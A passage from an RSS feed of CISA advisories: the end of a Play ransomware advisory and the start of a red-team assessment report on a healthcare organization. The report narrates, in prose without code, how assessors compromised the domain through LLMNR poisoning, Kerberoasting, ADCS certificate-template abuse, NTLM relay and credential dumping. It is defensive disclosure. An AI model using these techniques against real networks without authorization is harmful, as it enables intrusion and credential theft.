  6216. &lt;li&gt;No-cost cyber hygiene services: &lt;a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services"&gt;Cyber Hygiene Services&lt;/a&gt; and &lt;a href="https://github.com/cisagov/cset/releases/tag/v10.3.0.0" title="Ransomware Readiness Assessment CSET v10.3"&gt;Ransomware Readiness Assessment&lt;/a&gt;.&lt;/li&gt;
  6217. &lt;/ul&gt;
  6218. &lt;h3&gt;&lt;strong&gt;REPORTING&lt;/strong&gt;&lt;/h3&gt;
  6219. &lt;p&gt;The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Play ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.&lt;/p&gt;
  6220. &lt;p&gt;The FBI, CISA, and ASD’s ACSC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a &lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt;local FBI Field Office&lt;/a&gt;, the FBI’s &lt;a href="https://www.ic3.gov/" title="Internet Crime Complaint Center (IC3)"&gt;Internet Crime Complaint Center (IC3)&lt;/a&gt;, or CISA via CISA’s 24/7 Operations Center (&lt;a href="mailto:report@cisa.gov?subject=Ransomware%20Incident" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or 888-282-0870).&lt;/p&gt;
  6221. &lt;p&gt;Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ASD's ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to &lt;a href="https://www.cyber.gov.au/" title="Australian Signals Directorate’s Australian Cyber Security Centre"&gt;cyber.gov.au&lt;/a&gt;.&lt;/p&gt;
  6222. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  6223. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.&lt;/p&gt;
  6224. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  6225. &lt;p&gt;[1] &lt;a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy" title="Play Ransomware Group Using New Custom Data-Gathering Tools"&gt;Symantec: Play Ransomware Group Using New Custom Data-Gathering Tools&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  6226. [2] &lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play" title="Ransomware Spotlight | Play"&gt;TrendMicro: Play Ransomware Spotlight&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  6227. [3] &lt;a href="https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/" title="Crimeware Trends | Ransomware Developers Turn to Intermittent Encryption to Evade Detection"&gt;SentinelLabs: Ransomware Developers Turn to Intermittent Encryption to Evade Detection&lt;/a&gt;&lt;/p&gt;
  6228. </description>
  6229.  <pubDate>Mon, 11 Dec 2023 17:41:43 EST</pubDate>
  6230.    <dc:creator>CISA</dc:creator>
  6231.    <guid isPermaLink="false">/node/20473</guid>
  6232.    </item>
  6233. <item>
  6234.  <title>Enhancing Cyber Resilience: Insights from the CISA Healthcare and Public Health Sector Risk and Vulnerability Assessment</title>
  6235.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-349a</link>
  6236.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  6237. &lt;p&gt;In January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) conducted a Risk and Vulnerability Assessment (RVA) at the request of a &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/healthcare-and-public-health-sector" title="Healthcare and Public Health Sector"&gt;Healthcare and Public Health (HPH) sector&lt;/a&gt; organization to identify vulnerabilities and areas for improvement. An RVA is a two-week penetration test of an entire organization, with one week spent on external testing and one week spent assessing the internal network. As part of the RVA, the CISA assessment team conducted web application, phishing, penetration, database, and wireless assessments. The assessed organization was a large organization deploying on-premises software.&lt;/p&gt;
  6238. &lt;p&gt;During the one-week external assessment, the assessment team did not identify any significant or exploitable conditions in externally available systems that may allow a malicious actor to easily obtain initial access to the organization’s network. Furthermore, the assessment team was unable to gain initial access to the assessed organization through phishing. However, during internal penetration testing, the team exploited misconfigurations, weak passwords, and other issues through multiple attack paths to compromise the organization’s domain.&lt;/p&gt;
  6239. &lt;p&gt;In coordination with the assessed organization, CISA is releasing this Cybersecurity Advisory (CSA) detailing the RVA team’s activities and key findings to provide network defenders and software manufacturers recommendations for improving their organizations’ and customers’ cyber posture, which reduces the impact of follow-on activity after initial access. CISA encourages the HPH sector and other critical infrastructure organizations deploying on-premises software, as well as software manufacturers, to apply the recommendations in the Mitigations section of this CSA to harden networks against malicious activity and to reduce the likelihood of domain compromise.&lt;/p&gt;
  6240. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  6241.  
  6242.  
  6243.  
  6244.  
  6245.  
  6246. &lt;div class="c-file"&gt;
  6247.    &lt;div class="c-file__download"&gt;
  6248.    &lt;a href="https://www.cisa.gov/sites/default/files/2023-12/aa23-349a-risk-vulnerability-assessment-healthcare-public-health-sector.pdf" class="c-file__link" target="_blank"&gt;AA23-349A Enhancing Cyber Resilience: Insights from the CISA Healthcare and Public Health Sector Risk and Vulnerability Assessment&lt;/a&gt;
  6249.    &lt;span class="c-file__size"&gt;(PDF,       744.23 KB
  6250.  )&lt;/span&gt;
  6251.  &lt;/div&gt;
  6252. &lt;/div&gt;
  6253. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  6254. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK Tactics and Techniques section for tables of the threat actors’ activity mapped to MITRE ATT&amp;amp;CK&lt;sup&gt;®&lt;/sup&gt; tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  6255. &lt;h4&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h4&gt;
  6256. &lt;p&gt;CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to federal and non-federal entities with respect to cybersecurity risks. &lt;em&gt;See generally&lt;/em&gt; 6 U.S.C. §§ 652(c)(5), 659(c)(6). After receiving a request for an RVA from the organization and coordinating high-level details of the engagement with certain personnel at the organization, CISA conducted the RVA in January 2023.&lt;/p&gt;
  6257. &lt;p&gt;During RVAs, CISA tests the security posture of an organization’s network over a two-week period to determine the risk, vulnerability, and exploitability of systems and networks. During the first week (the external phase), the team tests public facing systems to identify exploitable vulnerabilities. During the second week (the internal phase), the team determines the susceptibility of the environment to an actor with internal access (e.g., malicious cyber actor or insider threat). The assessment team offers five services:&lt;/p&gt;
  6258. &lt;ul&gt;
  6259. &lt;li&gt;&lt;strong&gt;Web Application Assessment:&lt;/strong&gt; The assessment team uses commercial and open source tools to identify vulnerabilities in public-facing and internal web applications, demonstrating how they could be exploited.&lt;/li&gt;
  6260. &lt;li&gt;&lt;strong&gt;Phishing Assessment:&lt;/strong&gt; The assessment team tests the susceptibility of staff and infrastructure to phishing attacks and determines what impact a phished user workstation could have on the internal network. The RVA team crafts compelling email pretexts and generates payloads, similar to ones used by threat actors, in order to provide a realistic threat perspective to the organization.&lt;/li&gt;
  6261. &lt;li&gt;&lt;strong&gt;Penetration Testing:&lt;/strong&gt; The assessment team tests the security of an environment by simulating scenarios an advanced cyber actor may attempt. The team’s goals are to establish a foothold, escalate privileges, and compromise the domain. The RVA team leverages both open source and commercial tools for host discovery, port and service mapping, vulnerability discovery and analysis, and vulnerability exploitation.&lt;/li&gt;
  6262. &lt;li&gt;&lt;strong&gt;Database Assessment:&lt;/strong&gt; The assessment team uses commercial database tools to review databases for misconfigurations and missing patches.&lt;/li&gt;
  6263. &lt;li&gt;&lt;strong&gt;Wireless Assessment:&lt;/strong&gt; The assessment team uses specialized wireless hardware to assess wireless access points, connected endpoints, and user awareness for vulnerabilities.&lt;/li&gt;
  6264. &lt;/ul&gt;
  6265. &lt;p&gt;The assessed organization was in the HPH sector. See Table 1 for services in-scope for this RVA.&lt;/p&gt;
  6266. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6267. &lt;caption&gt;&lt;em&gt;Table 1: In-Scope RVA Services&lt;/em&gt;&lt;/caption&gt;
  6268. &lt;thead&gt;
  6269. &lt;tr&gt;
  6270. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Phase&lt;/strong&gt;&lt;/th&gt;
  6271. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/th&gt;
  6272. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Services&lt;/strong&gt;&lt;/th&gt;
  6273. &lt;/tr&gt;
  6274. &lt;/thead&gt;
  6275. &lt;tbody&gt;
  6276. &lt;tr&gt;
  6277. &lt;td&gt;
  6278. &lt;p&gt;External Assessment&lt;/p&gt;
  6279. &lt;/td&gt;
  6280. &lt;td&gt;
  6281. &lt;p&gt;Publicly available HPH-organization endpoints discovered during scanning&lt;/p&gt;
  6282. &lt;/td&gt;
  6283. &lt;td&gt;
  6284. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6285. &lt;p&gt;Phishing Assessment&lt;/p&gt;
  6286. &lt;p&gt;Web Application Assessment&lt;/p&gt;
  6287. &lt;/td&gt;
  6288. &lt;/tr&gt;
  6289. &lt;tr&gt;
  6290. &lt;td&gt;
  6291. &lt;p&gt;Internal Assessment&lt;/p&gt;
  6292. &lt;/td&gt;
  6293. &lt;td&gt;
  6294. &lt;p&gt;Internally available HPH-organization endpoints discovered during scanning&lt;/p&gt;
  6295. &lt;/td&gt;
  6296. &lt;td&gt;
  6297. &lt;p&gt;Database Assessment&lt;/p&gt;
  6298. &lt;p&gt;Penetration Testing&lt;/p&gt;
  6299. &lt;p&gt;Web Application Assessment&lt;/p&gt;
  6300. &lt;p&gt;Wireless Assessment&lt;/p&gt;
  6301. &lt;/td&gt;
  6302. &lt;/tr&gt;
  6303. &lt;/tbody&gt;
  6304. &lt;/table&gt;
  6305. &lt;h4&gt;&lt;strong&gt;Phase I: External Assessment&lt;/strong&gt;&lt;/h4&gt;
  6306. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Penetration and Web Application Testing&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  6307. &lt;p&gt;The CISA team did not identify any significant or exploitable conditions from penetration or web application testing that may allow a malicious actor to easily obtain initial access to the organization’s network.&lt;/p&gt;
  6308. &lt;h5&gt;&lt;strong&gt;Phishing Assessment&lt;/strong&gt;&lt;/h5&gt;
  6309. &lt;p&gt;The CISA team conducted phishing assessments that included both user and systems testing.&lt;/p&gt;
  6310. &lt;p&gt;The team’s phishing assessment was unsuccessful because the organization’s defensive tools blocked the execution of the team’s payloads. The payload testing resulted in most of the team’s payloads being blocked by host-based protections through a combination of browser, policy, and antivirus software. Some of the payloads were successfully downloaded to disk without being immediately removed, but upon execution, the antivirus software detected the malicious code and blocked it from running. Some payloads appeared to successfully evade host-based protections but did not create a connection to the command and control (C2) infrastructure, indicating they may have been incompatible with the system or blocked by border protections.&lt;/p&gt;
  6311. &lt;p&gt;Since none of the payloads successfully connected to the assessment team’s C2 server, the team conducted a credential harvesting phishing campaign. Users were prompted to follow a malicious link within a phishing email under the pretext of verifying tax information and were then taken to a fake login form.&lt;/p&gt;
  6312. &lt;p&gt;While twelve unique users from the organization submitted credentials through the malicious form, the CISA team was unable to leverage the credentials because they had limited access to external-facing resources. Additionally, the organization had multi-factor authentication (MFA) implemented for cloud accounts. &lt;strong&gt;Note:&lt;/strong&gt; At the time of the assessment, the CISA team’s operating procedures did not include certain machine-in-the-middle attacks that could have circumvented the form of MFA in place. However, it is important to note that tools like Evilginx[&lt;a href="https://github.com/kgretzky/evilginx" title="kgretzky / evilginx"&gt;1&lt;/a&gt;] can be leveraged to bypass non-phishing resistant forms of MFA. Furthermore, if a user executes a malicious file, opening a connection to a malicious actor’s command and control server, MFA will not prevent the actor from executing commands and carrying out actions under the context of that user.&lt;/p&gt;
  6313. &lt;h4&gt;&lt;strong&gt;Phase II: Internal Assessment&lt;/strong&gt;&lt;/h4&gt;
  6314. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Database, Web Application, and Wireless Testing&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  6315. &lt;p&gt;The CISA assessment team did not identify any significant or exploitable conditions from database or wireless testing that may allow a malicious actor to easily compromise the confidentiality, integrity, and availability of the tested environment.&lt;/p&gt;
  6316. &lt;p&gt;The team did identify default credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/001/" title="Valid Accounts: Default Accounts"&gt;T1078.001&lt;/a&gt;] for multiple web interfaces during web application testing and used default printer credentials while penetration testing. (See the Attack Path 2 section for more information.)&lt;/p&gt;
  6317. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Penetration Testing&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  6318. &lt;p&gt;The assessment team starts internal penetration testing with a connection to the organization’s network but without a valid domain account. The team’s goal is to compromise the domain by gaining domain admin or enterprise administrator-level permissions. Generally, the team first attempts to gain domain user access and then escalate privileges until the domain is compromised. This process is called the “attack path”—acquiring initial access to an organization and escalating privileges until the domain is compromised and/or vital assets for the organization are accessed. The attack path requires specialized expertise and is realistic to what adversaries may do in an environment.&lt;/p&gt;
  6319. &lt;p&gt;For this assessment, the team compromised the organization’s domain through four unique attack paths, and in a fifth attack path the team obtained access to sensitive information.&lt;/p&gt;
  6320. &lt;p&gt;See the sections below for a description of the team’s attack paths mapped to the MITRE ATT&amp;amp;CK for Enterprise framework. See the Findings section for information on issues that enabled the team to compromise the domain.&lt;/p&gt;
  6321. &lt;h6&gt;&lt;em&gt;&lt;strong&gt;Attack Path 1&lt;/strong&gt;&lt;/em&gt;&lt;/h6&gt;
  6322. &lt;p&gt;The assessment team initiated LLMNR/NBT-NS/mDNS/DHCP poisoning [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1557/001/" title="Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"&gt;T1557.001&lt;/a&gt;] with Responder[&lt;a href="https://github.com/lgandx/Responder" title="lgandx / Responder"&gt;2&lt;/a&gt;], which works in two steps:&lt;/p&gt;
  6323. &lt;ol&gt;
  6324. &lt;li&gt;Responder listens to multicast name resolution queries (e.g., &lt;code&gt;LLMNR UDP/5355&lt;/code&gt;, &lt;code&gt;NBTNS UDP/137&lt;/code&gt;) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1040/" title="Network Sniffing"&gt;T1040&lt;/a&gt;] and under the right conditions spoofs a response to direct the victim host to a CISA-controlled machine on which Responder is running.&lt;/li&gt;
  6325. &lt;li&gt;Once a victim connects to the machine, Responder exploits the connection to perform malicious functions such as stealing credentials or opening a session on a targeted host [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/" title="Remote Services"&gt;T1021&lt;/a&gt;].&lt;/li&gt;
  6326. &lt;/ol&gt;
  6327. &lt;p&gt;With this tool, the CISA team captured fifty-five New Technology Local Area Network Manager version 2 (NTLMv2) hashes, including the NTLMv2 hash for a service account. &lt;strong&gt;Note:&lt;/strong&gt; NTLMv2 and other variations of the hash protocol are used for clients to join a domain, authenticate between Active Directory forests, authenticate between earlier versions of Windows operating systems (OSs), and authenticate computers that are not normally a part of the domain.[&lt;a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level" title="Network security: LAN Manager authentication level"&gt;3&lt;/a&gt;] Cracking these passwords may enable malicious actors to establish a foothold in the domain and move laterally or elevate their privileges if the hash belongs to a privileged account.&lt;/p&gt;
  6328. &lt;p&gt;The service account had a weak password, allowing the team to quickly crack it [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/002/" title="Brute Force: Password Cracking"&gt;T1110.002&lt;/a&gt;] and obtain access to the organization’s domain. With domain access, the CISA assessment team enumerated accounts with a Service Principal Name (SPN) set [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/002/" title="Account Discovery: Domain Account"&gt;T1087.002&lt;/a&gt;]. SPN is the unique service identifier used by Kerberos authentication[&lt;a href="https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names" title="Service principal names"&gt;4&lt;/a&gt;], and accounts with SPN are susceptible to Kerberoasting.&lt;/p&gt;
  6329. &lt;p&gt;The CISA team used Impacket’s[&lt;a href="https://github.com/fortra/impacket" title="fortra / impacket"&gt;5&lt;/a&gt;] GetUserSPNs tool to request Ticket-Granting Service (TGS) tickets for all accounts with SPN set and obtained their Kerberos hashes [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/003/" title="Steal or Forge Kerberos Tickets: Kerberoasting"&gt;T1558.003&lt;/a&gt;]. Three of these accounts had domain administrator privileges—offline, the team cracked ACCOUNT 1 (which had a weak password).&lt;/p&gt;
  6330. &lt;p&gt;Using CrackMapExec[&lt;a href="https://github.com/Porchetta-Industries/CrackMapExec" title="byt3bl33d3r / CrackMapExec"&gt;6&lt;/a&gt;], the assessment team used ACCOUNT 1 [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;] to successfully connect to a domain controller (DC). The team confirmed they compromised the domain because ACCOUNT 1 had &lt;code&gt;READ,WRITE&lt;/code&gt; permissions over the &lt;code&gt;C$&lt;/code&gt; administrative share [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/002/" title="Remote Services: SMB/Windows Admin Shares"&gt;T1021.002&lt;/a&gt;] (see Figure 1).&lt;/p&gt;
  6331.  
  6332.  
  6333.  
  6334. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  6335.  
  6336.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2023-12/Figure%201%20-%20ACCOUNT%201%20Domain%20Admin%20Privileges.png?itok=cARq9lWe" width="670" height="141" alt="Figure 1: ACCOUNT 1 Domain Admin Privileges"&gt;
  6337.  
  6338.  
  6339.  
  6340. &lt;/div&gt;
  6341.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 1: ACCOUNT 1 Domain Admin Privileges&lt;/em&gt;&lt;/figcaption&gt;
  6342.  &lt;/figure&gt;
  6343. &lt;p&gt;To further demonstrate the impact of compromising ACCOUNT 1, the assessment team used it to access a virtual machine interface. If a malicious actor compromised ACCOUNT 1, they could use it to modify, power off [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1529/" title="System Shutdown/Reboot"&gt;T1529&lt;/a&gt;], and/or delete critical virtual machines, including domain controllers and file servers.&lt;/p&gt;
  6344. &lt;h6&gt;&lt;em&gt;&lt;strong&gt;Attack Path 2&lt;/strong&gt;&lt;/em&gt;&lt;/h6&gt;
  6345. &lt;p&gt;The team first mapped the network to identify open web ports [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/001/" title="Active Scanning: Scanning IP Blocks"&gt;T1595.001&lt;/a&gt;], and then attempted to access various web interfaces [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;] with default administrator credentials. The CISA team was able to log into a printer interface with a default password and found the device was configured with domain credentials to allow employees to save scanned documents to a network share [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1080/" title="Taint Shared Content"&gt;T1080&lt;/a&gt;].&lt;/p&gt;
  6346. &lt;p&gt;While logged into the printer interface as an administrator, the team 1) modified the “Save as file” configuration to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and 2) changed the Server Name and Network Path to point to a CISA-controlled machine running Responder [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1557/" title="Adversary-in-the-Middle"&gt;T1557&lt;/a&gt;]. Then, the team executed a “Connection Test” that sent the username and password over FTP [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1187/" title="Forced Authentication"&gt;T1187&lt;/a&gt;] to the CISA machine running Responder, which captured cleartext credentials for a non-privileged domain account (ACCOUNT 2).&lt;/p&gt;
  6347. &lt;p&gt;Using ACCOUNT 2 and Certipy[&lt;a href="https://github.com/ly4k/Certipy" title="Certipy"&gt;7&lt;/a&gt;], the team enumerated potential certificate template vulnerabilities found in Active Directory Certificate Services (ADCS). &lt;strong&gt;Note:&lt;/strong&gt; ADCS templates are used to build certificates for different types of servers and other entities on an organization’s network. Malicious actors can exploit template misconfigurations [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1649/" title="Steal or Forge Authentication Certificates"&gt;T1649&lt;/a&gt;] to manipulate the certificate infrastructure into issuing fraudulent certificates and/or escalate user privileges to a domain administrator.&lt;/p&gt;
  6348. &lt;p&gt;The &lt;code&gt;WebServer&lt;/code&gt; template was misconfigured to allow all authenticated users permission to:&lt;/p&gt;
  6349. &lt;ul&gt;
  6350. &lt;li&gt;Change the properties of the template (via &lt;code&gt;Object Control Permissions&lt;/code&gt; with &lt;code&gt;Write Property Principals&lt;/code&gt; set to &lt;code&gt;Authenticated Users&lt;/code&gt;).&lt;/li&gt;
  6351. &lt;li&gt;Enroll for the certificate (via &lt;code&gt;Enrollment Permissions&lt;/code&gt; including the &lt;code&gt;Authenticated Users&lt;/code&gt; group).&lt;/li&gt;
  6352. &lt;li&gt;Request a certificate for a different user (via &lt;code&gt;EnrolleeSuppliesSubject&lt;/code&gt; set as &lt;code&gt;True&lt;/code&gt;).&lt;/li&gt;
  6353. &lt;/ul&gt;
  6354. &lt;p&gt;See Figure 2 for the displayed certificate template misconfigurations.&lt;/p&gt;
  6355.  
  6356.  
  6357.  
  6358.  
  6359. &lt;figure class="c-figure c-figure--large c-figure--image u-align-center" role="group"&gt;
  6360.  
  6361.  &lt;div class="c-figure__media"&gt;  &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2023-12/Figure%202%20-%20Misconfigured%20Certificate%20Template%20Enumerated%20via%20Certipy.png?itok=9nEucGuk" width="533" height="455" alt="Figure 2: Misconfigured Certificate Template Enumerated via Certipy"&gt;
  6362.  
  6363.  
  6364. &lt;/div&gt;
  6365.  &lt;/figure&gt;
  6366. &lt;p&gt;The template’s &lt;code&gt;Client Authentication&lt;/code&gt; was set to &lt;code&gt;False&lt;/code&gt;, preventing the CISA assessment team from requesting a certificate that could be used to authenticate to a server in the domain. To demonstrate how this misconfiguration could lead to privilege escalation, the assessment team, leveraging its status as a mere authenticated user, briefly changed the &lt;code&gt;WebServer&lt;/code&gt; template properties to set &lt;code&gt;Client Authentication&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt; so that a certificate could be obtained for server authentication, ensuring the property was set back to its original setting of &lt;code&gt;False&lt;/code&gt; immediately thereafter.&lt;/p&gt;
  6367. &lt;p&gt;The team used Certipy with the ACCOUNT 2 credentials to request a certificate for a Domain Administrator account (ACCOUNT 3). The team then authenticated to the domain controller as ACCOUNT 3 with the generated certificate [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1550/" title="Use Alternate Authentication Material"&gt;T1550&lt;/a&gt;] and retrieved the NTLM hash for ACCOUNT 3 [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/" title="OS Credential Dumping"&gt;T1003&lt;/a&gt;]. The team used the hash to authenticate to the domain controller [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1550/002/" title="Use Alternate Authentication Material: Pass the Hash"&gt;T1550.002&lt;/a&gt;] and validated Domain Administrator privileges, demonstrating compromise of the domain via the &lt;code&gt;WebServer&lt;/code&gt; template misconfiguration.&lt;/p&gt;
  6368. &lt;h6&gt;&lt;strong&gt;&lt;em&gt;Attack Path 3&lt;/em&gt;&lt;/strong&gt;&lt;/h6&gt;
  6369. &lt;p&gt;The CISA team used a tool called CrackMapExec to spray easily guessable passwords [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/003/" title="Brute Force: Password Spraying"&gt;T1110.003&lt;/a&gt;] across all domain accounts and obtained two sets of valid credentials for standard domain user accounts.&lt;/p&gt;
  6370. &lt;p&gt;The assessment team leveraged one of the domain user accounts (ACCOUNT 4) to enumerate ADCS via Certipy and found that web enrollment was enabled (see Figure 3). If web enrollment is enabled, malicious actors can abuse certain services and/or misconfigurations in the environment to coerce a server to authenticate to an actor-controlled computer, which can relay the authentication to the ADCS web enrollment service and obtain a certificate for the server’s account (known as a relay attack).&lt;/p&gt;
  6371.  
  6372.  
  6373.  
  6374. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  6375.  
  6376.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2023-12/Figure%203%20-%20Misconfigured%20ADCS%20Enumerated%20via%20Certipy.png?itok=1Z-Pu9sU" width="661" height="323" alt="Figure 3: Misconfigured ADCS Enumerated via Certipy"&gt;
  6377.  
  6378.  
  6379.  
  6380. &lt;/div&gt;
  6381.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 3: Misconfigured ADCS Enumerated via Certipy&lt;/em&gt;&lt;/figcaption&gt;
  6382.  &lt;/figure&gt;
  6383. &lt;p&gt;The team used PetitPotam [&lt;a href="https://github.com/topotam/PetitPotam" title="topotam / PetitPotam"&gt;8&lt;/a&gt;] with ACCOUNT 4 credentials to force the organization’s domain controller to authenticate to the CISA-operated machine and then used Certipy to relay the coerced authentication attempt to the ADCS web enrollment service to receive a valid certificate for ACCOUNT 5, the domain controller machine account. They used this certificate to acquire a TGT [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/" title="Steal or Forge Kerberos Tickets"&gt;T1558&lt;/a&gt;] for ACCOUNT 5.&lt;/p&gt;
  6384. &lt;p&gt;With the TGT for ACCOUNT 5, the CISA team used &lt;code&gt;DCSync&lt;/code&gt; to dump the NTLM hash [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/006" title="OS Credential Dumping: DCSync"&gt;T1003.006&lt;/a&gt;] for ACCOUNT 3 (a Domain Administrator account [see &lt;a href="#_Attack_Path_2"&gt;Attack Path 2&lt;/a&gt; section]), effectively leading to domain compromise.&lt;/p&gt;
  6385. &lt;h6&gt;&lt;strong&gt;&lt;em&gt;Attack Path 4&lt;/em&gt;&lt;/strong&gt;&lt;/h6&gt;
  6386. &lt;p&gt;The CISA team identified several systems on the organization’s network that do not enforce SMB signing. The team exploited this misconfiguration to obtain cleartext credentials for two domain administrator accounts.&lt;/p&gt;
  6387. &lt;p&gt;First, the team used Responder to capture the NTLMv2 hash for a domain administrator account. Next, they used Impacket’s NTLMrelayx tool[&lt;a href="https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py" title="fortra / impacket"&gt;9&lt;/a&gt;] to relay the authentication for the domain administrator, opening a SOCKS connection on a host that did not enforce SMB signing. The team then used DonPAPI[&lt;a href="https://github.com/login-securite/DonPAPI" title="login-securite / DonPAPI"&gt;10&lt;/a&gt;] to dump cleartext credentials through the SOCKS connection and obtained credentials for two additional domain administrator accounts.&lt;/p&gt;
  6388. &lt;p&gt;The CISA team validated the privileges of these accounts by checking for &lt;code&gt;READ,WRITE&lt;/code&gt; access on a domain controller &lt;code&gt;C$&lt;/code&gt; share [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1039/" title="Data from Network Shared Drive"&gt;T1039&lt;/a&gt;], demonstrating Domain Administrator access and therefore domain compromise.&lt;/p&gt;
  6389. &lt;h6&gt;&lt;strong&gt;&lt;em&gt;Attack Path 5&lt;/em&gt;&lt;/strong&gt;&lt;/h6&gt;
  6390. &lt;p&gt;The team did vulnerability scanning [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;] and identified a server vulnerable to &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-0144" title="CVE-2017-0144"&gt;CVE-2017-0144&lt;/a&gt; (an Improper Input Validation [&lt;a href="https://cwe.mitre.org/data/definitions/20.html" title="CWE-20: Improper Input Validation"&gt;CWE-20&lt;/a&gt;] vulnerability known as “EternalBlue” that affects SMB version 1 [SMBv1] and enables remote code execution [see Figure 4]).&lt;/p&gt;
  6391.  
  6392.  
  6393.  
  6394. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  6395.  
